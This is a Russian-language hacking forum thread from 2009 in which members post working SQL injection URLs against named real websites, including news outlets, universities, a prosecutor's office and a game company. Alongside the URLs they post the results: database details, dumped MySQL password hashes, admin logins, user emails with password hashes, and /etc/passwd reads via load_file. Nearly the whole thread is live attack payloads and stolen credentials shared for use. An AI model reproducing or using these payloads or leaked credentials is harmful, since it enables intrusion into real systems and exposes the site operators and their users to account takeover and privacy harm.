SQL Инъекции

spherics · 19 Mar 2009

http://www.thisweekinpalestine.com/details.php?id=268760980341+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(0x3a,version(),user(),database())--&ed=148&edid=148
Click to expand...

Version: 5.0.45
User: thisweek_twip2@localhost
Database: thisweek_twip2

http://www.pilotlondon.org/artists/details.php?id=79875543241+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x3a,Version(),0x3a,Database(),0x3a,User(),0x3a),0x71),0x71),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--&year=2007
Click to expand...

Version: 4.1.18-nt
Database: pilotlondon
User: pilotlondon@localhost

http://www.craftproducers.com/festival-details.php?id=4+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
Click to expand...

Database Version: 5.0.22
Database name: craftproducers
User name: craftadmin@localhost

PageRank - 6

http://www.libyaonline.com/music/artist.php?id=66876447987+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6--
Click to expand...

Version: 4.1.22-standard
User: lol_lol@localhost
Database: lol_loldb

Gorev · 20 Mar 2009

http://www.karenowa.ro/detalii.php?id=-175+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),database(),useR()),5,6,7,8,9,10,11,12,13,14--

Database Version: 5.0.67-community
Database name: karenowa_karenowa
User name: karenowa_karenow@localhost

http://www.karenowa.ro/admin

admin:admin
dana:daniela

hookman · 20 Mar 2009

Code:

http://dvaction.northwestern.edu/categorybrowse.php?id=-4+union+select+1,2,3,4,concat(version(),0x3a,database(),0x2a,user())/*

5.0.27:dvaction*ro@localhost

mailbrush · 20 Mar 2009

Code:
http://www.angelautoworld.com/adetails.php?AccID=-5+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7
user() : database() : version()
[email protected] : angelaut_angel : 5.0.51a-log

Gorev · 20 Mar 2009

http://www.pensiuni-vile.ro/detaliu_spatiu.php?id=-229+union+select+concat_ws(0x3a,version(),database(),useR()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86--

Database Version: 4.1.22-standard-log
Database name: pensiuni_pens
User name: pensiuni_pens@localhost

Rubaka · 20 Mar 2009

http://www.jacksoncountyprosecutor.com/display.php?t=92+union+select+1,2,3,4,5,6,7,8,9,0,1+limit+1,1/*

Database Version: 4.1.11-max-log
Database name: jacksonco
User name: [email protected]

hookman · 20 Mar 2009

Code:

http://www.nodak.edu/connectnd/print.php?sid=-822+and+0+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7,8/*

5.0.45-log:erp:[email protected]

mailbrush · 20 Mar 2009

Code:
http://www.emagazines.com.my/adetails.php?aid=-33+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12
user() : database() : version()
[email protected] : ccne1_emag : 5.0.67-log
Code:
http://www.emagazines.com.my/adetails.php?aid=-33+union+select+1,2,password,4,5,6,7,8,9,10,11,12+from+tbl_user
Юзера подобрать не смог, если кто сможет - гоу в ПМ, отблагодарю +!
Code:
http://www.emagazines.com.my/adetails.php?aid=-33+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12+from+tbl_admin+limit+0,1
Левая табличка какая-то

PaCo · 20 Mar 2009

HTML:

http://www.turistka.ru/altai/news.php?n=24833+union+select+1,2,concat_ws(0x3A,version(),database(),user()),4,5--

5.0.22:turistka:turistka@localhost

Cennarios · 20 Mar 2009

http://www.la-press.com/

http://www.la-press.com/journal.php?pa=description&journal_id=-1+union+select+1,2,concat_ws(0x3a3a,username,password,email,admin,passkey),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+user+limit+26,1--

Буржуйские дикликеры...

ph1l1ster · 20 Mar 2009

mtvernonlisbonsun.com

Database Version: 5.0.45-log
Database name: sunnews
User name: [email protected]
Code:
http://mtvernonlisbonsun.com/article.php?viewID=-34+union+Select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,0,11,12--
file_priv Y
Code:
http://mtvernonlisbonsun.com/article.php?viewID=-34+union+Select+1,load_file(%27/etc/passwd%27),3,4,5,6,7,8,9,0,11,12--
sparklan.com

Database Version: 5.1.28-rc-community
Database name: sparklan_db
User name: root@localhost
Code:
http://sparklan.com/category.php?cat_id=-6+union+select+1,2,concat(table_name,0x3a,0x444154413a,concat(user(),0x3a,version(),0x3a,database()))+from+information_schema.tables--
c:\boot.ini
Code:
http://sparklan.com/category.php?cat_id=-6+union+select+1,2,load_file(0x433a5c5c626f6f742e696e69)--

Rubaka · 20 Mar 2009

http://www.dhammaweb.net/dhamma_news/view.php?id=129/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/LIMIT/**/1,1/*

Database Version: 4.0.27-max-log
Database name: dhamma_news
User name: [email protected]

spherics · 20 Mar 2009

http://www.itp.net/grouptests/details.php?id=29&prodid=280986543150+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50--
Click to expand...

Database Version: 5.0.45-log
Database name: itp
User name: [email protected]

http://www.itp.net/grouptests/details.php?id=29&prodid=280986543150+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50+from+mysql.user--
Click to expand...

root : *25D34EC64807BC5831F8C16DE5E2A2200D58AAA1
itp_openx : *14E3B1F4ACEAD4570424050CA8583A5D4D302948
itpuser : *F1D85A0CC85F8EB1E5A1C843B8D7ACE3C014950C
ahlan : *F1D85A0CC85F8EB1E5A1C843B8D7ACE3C014950C
nisal_bandara : *166D3A614724444A17B7DD785888DD2E3D2FFCD7
dbman : *FF605D21500AFAD1237A677D327C8D8B24C4167C
openads : *7C187D3451A485A57E2DB735182C576D2FE2CF60
nluser : *874AF3EC5C6B73D4D089F26DC87D0FAC185F12A1
walid_yousef : *AF91323B44ADB6CD39CB6245E00A0BA937116C1C
hitesh_uchil : *6038C6B0D915DEAA9E0C8B3C9B0A0DA152FDDD42
vinod_alath : *0594BC993B5E1FDE75BFE43CECBED466F235536E
tahseen_khatib : *1FCF938D3560BB0D8B052493888BE9BDD73F7448
meghna_jalnawall : *1AA9BBE09AB401F46A2A86381D7035880CDCC7A8
itpnet : *F1D85A0CC85F8EB1E5A1C843B8D7ACE3C014950C
ab : *F1D85A0CC85F8EB1E5A1C843B8D7ACE3C014950C
kavitha_r : *C432A633B245E22806FAD27582EA5D4E4C2096FA
anil_tejwani : *20DBA518D1F6B7B5049FDCF8189F398433940EC0
adminuser : *90862F972500CE38599616C8300B537CBF13CB20
jonathan : *B78F516C54346976EF5DC51F1F110D4BD6A45551
sphinx : *5B18B7C9DAF71DB1564C6F2D0285F898A656A99A
mysqlar : *1EF61F6BA99933AF1B973B908C556568F0E02C50
cactiuser : *91204ED06D1FE7E3E9A03EED23BAEBBEE3AD8DF7
blogs : *7F125EC78B009BD5BDF542FB78AE399340D9192A
conservus : *3E11C26BEEC2FB47282874CAF491CD6ACD5F4474
omer_larzi : *331D537F2875935580F9A2DF94DD071A336FB430
anju_raj : *B2351D25CBD54F89985A9BA50742B49E198B9AE1
syed_rahim : *F1BC2D41E4126119294F8379D31C0D9CE5E13DEE
limesurvey : *467885DE1212449090A82D3543A6695BE6578972
nishchint : *13A3F2CE37C938CBFF56D278F94394BF06D59EA5
timeout : *F1D85A0CC85F8EB1E5A1C843B8D7ACE3C014950C
openx : *E0DE22DCE5BBBC84FFCB8CDE8DD1B0087BFC4F33
carme : *D43457B6F6D766558F443B323F5E0C2C015465F9
carme_openx : *A96D5F5F8C5987ECEE7486E06290D9477FD7633E
ahmer_ansari : *64E9C1D513C436D59BD0FDA737FA58D1EFE5C4D8
repl_dynamic1 : *144B5C1F66334E0C6667777A238AE80A267DA1C0
backup : *ECB644BA18F94C4A5445E70CDD4C72A86B176053
cwo : *D15B0A04577B1E9B8069295D9929E71F62A8CAE0
proftpd : *79F2AA5FDC76101463392E4338A96E6FBC93D751

Gorev · 20 Mar 2009

http://www.idealtour.ro/detalii_print.php?id=-98+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),useR()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

Database Version: 5.0.67-community
Database name: ltour_idealtour
User name: ltour@localhost

spherics · 20 Mar 2009

Какие ребята на просторах интернета.Фирма-то хорошая Codemasters.

Такие красивые игрули делают оч нравится.

http://au.codemasters.com/news/?showarticle=1465476598762103/**/union/**/select/**/concat_ws(0x3a,version(),user(),database())/*
Click to expand...

Database Version: 4.1.20-log
Database name: codem
User name: [email protected]

Достаём крутых дядей лимитом -)

http://au.codemasters.com/news/?showarticle=1465476598762103/**/UNION/**/SELECT/**/CONCAT(0x3a,(SELECT/**/CONCAT(password,0x3a,user)/**/FROM/**/mysql.user/**/LIMIT/**/1,1),0x3a)/*
Click to expand...

::root
::
::
:5283f24030a7f0a4: codiesforum
:5283f24030a7f0a4: codiesforum
:5283f24030a7f0a4: codiesforum
:5283f24030a7f0a4: codiesforum
:5283f24030a7f0a4: codiesforum
:5283f24030a7f0a4: codiesforum
:28882517462b220b: replisync
:593da7b347470371: alex.speed
:4442781618168588: lee.ward
:372cbec53680c5f7: nick.mcauliffe
:5736f905475c8a70: nicholas.johnson
:0ff736f0738db01a: cmdbuser
:0ff736f0738db01a: cmdbuser
:0ff736f0738db01a: cmdbuser
:0ff736f0738db01a: cmdbuser
:49e6d7a6062ce348: emmazambonini
:34aab62f434104fa: dan.yaxley
:2a16ff2b07d85e61: urchin
:19e291892ee911fc: jumpgate
:19e291892ee911fc: jumpgate
:09911db023666d81: jumpgate
:19e291892ee911fc: jumpgate
:0ff736f0738db01a: cmdbuser
:5283f24030a7f0a4: codiesforum
:74b7406735ab1d51: dan.yaxley
:6eb64cb93755c485: cmrepl
:3132aa414006eee9: james.merrix

mailbrush · 20 Mar 2009

Code:
http://www.anke-firlefanz.de/adetails.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44
user() : database() : version()
[email protected] : db117112158 : 4.0.27-max-log
mysql,information_schema - нет доступа

Gorev · 20 Mar 2009

http://www.f64.ro/stiri_detail.php?id=-46+union+select+1,2,concat_ws(0x3a,version(),database(),useR()),4,5,6,7,8,9,10,11,12,13,14

Database Version: 4.1.22-standard-log
Database name: f64_f64
User name: f64_ro@localhost

mailbrush · 20 Mar 2009

Code:
http://www.tagderkueche.de/presse/adetails.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6
user() : database() : version()
[email protected] : amk_tdk : 4.0.17-nt

spherics · 20 Mar 2009

http://www.ssrnetwork.net/events/details.php?id=227098097544+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8--
Click to expand...

Database Version: 5.0.27-community-nt
Database name: gfnssr_new
User name: gfnssr_user@localhost

Первая десятка юзеров с базы gfnssr_new ...

memberID : username : member_password : security_level

http://www.ssrnetwork.net/events/details.php?id=227098097544+UNION+SELECT+1,CONCAT(0x3a,(SELECT+CONCAT(memberID,0x3a,username,0x3a,member_password,0x3a,security_level)+FROM+gfnssr_new.members+LIMIT+10,1),0x3a),3,4,5,6,7,8--
Click to expand...

:65: [email protected] :53db2b013dbcdd448c0d467753c3f7e1:1
:37: [email protected] :95575fc8f27788dd812517cc5d7829a2:2
:12: [email protected] :9e9a9a8cbc80841375b54b39bad1f3a3:2
:13: [email protected] :7ea4f1ba7e256e3c:2
:36: [email protected] :34b97d46c84777200dcd3640788d51ee:2
:35: [email protected] :5ef9dce3b12315f3afa483a9bf275823:2
:38: [email protected] : c0566ecb4cd3c71cc2156a0c625bfd25:2
:39: [email protected] :0c4010334a0bc8f6b36dada03a728275:2
:40: [email protected] :1bfc947b3277c2ddc925b5aeb8f1216a:2
:41: [email protected] :09bf3f6a7afa1d5666cf329c626d085c:2
:42: [email protected] : 7302c67f811efc9c2aafef570601472e:2

Первая десятка юзеров с базы contact

http://www.ssrnetwork.net/events/details.php?id=227098097544+UNION+SELECT+1,CONCAT(0x3a,(SELECT+CONCAT(user_login,0x3a,user_password,0x3a,email,0x3a,admin)+FROM+contacts.users+LIMIT+10,1),0x3a),3,4,5,6,7,8--
Click to expand...

user_login : user_password : email : admin

: [email protected] :56983fe737c43c8a: [email protected]:1
: [email protected] :2cae020e37e4fa8b: [email protected]:1
: [email protected] :13148a3b56f2b99c: [email protected]:1
: [email protected] :6d43ed41307ee6f7: [email protected]:0
: [email protected] :050700543e38bc5e: [email protected]:0
: [email protected] :0243d2b3255d7a2d: [email protected]:0
: [email protected] :207cc12166940fee: [email protected]:0
: [email protected] :4d53087849cf0d41: [email protected]:0
: [email protected] :5e7bfa8b6fc49936: [email protected]:0
: [email protected] :2d43b3ae054691b3: [email protected]:0

f1ng3r · 20 Mar 2009

Code:

http://www.rosinox-laser.ru/news/news_archives/?id=-1+union+select+concat_ ws(0x3a,version(),database(),user()),2,3,4,5--

Database Version : 5.0.45-log
Database name : u91525_2
User name : :[email protected]

админ :

Code:

http://www.rosinox-laser.ru/news/news_archives/?id=-1+union+select+1,2,3,concat_ws(0x3a,login,pwd,denyAccess),5+from+bezanti _users+limit+1,1--

Code:

admin:21232f297a57a5a743894a0e4a801fc3

SQL Инъекции

spherics Elder - Старейшина

Gorev Level 8

hookman Member

mailbrush Well-Known Member

Gorev Level 8

Rubaka Elder - Старейшина

hookman Member

mailbrush Well-Known Member

PaCo Elder - Старейшина

Cennarios Elder - Старейшина

ph1l1ster Elder - Старейшина

Rubaka Elder - Старейшина

spherics Elder - Старейшина

Gorev Level 8

spherics Elder - Старейшина

mailbrush Well-Known Member

Gorev Level 8

mailbrush Well-Known Member

spherics Elder - Старейшина

f1ng3r [забытый полк]

Useful Searches

SQL Инъекции

spherics Elder - Старейшина

Gorev Level 8

hookman Member

mailbrush Well-Known Member

Gorev Level 8

Rubaka Elder - Старейшина

hookman Member

mailbrush Well-Known Member

PaCo Elder - Старейшина

Cennarios Elder - Старейшина

ph1l1ster Elder - Старейшина

Rubaka Elder - Старейшина

spherics Elder - Старейшина

Gorev Level 8

spherics Elder - Старейшина

mailbrush Well-Known Member

Gorev Level 8

mailbrush Well-Known Member

spherics Elder - Старейшина

f1ng3r [забытый полк]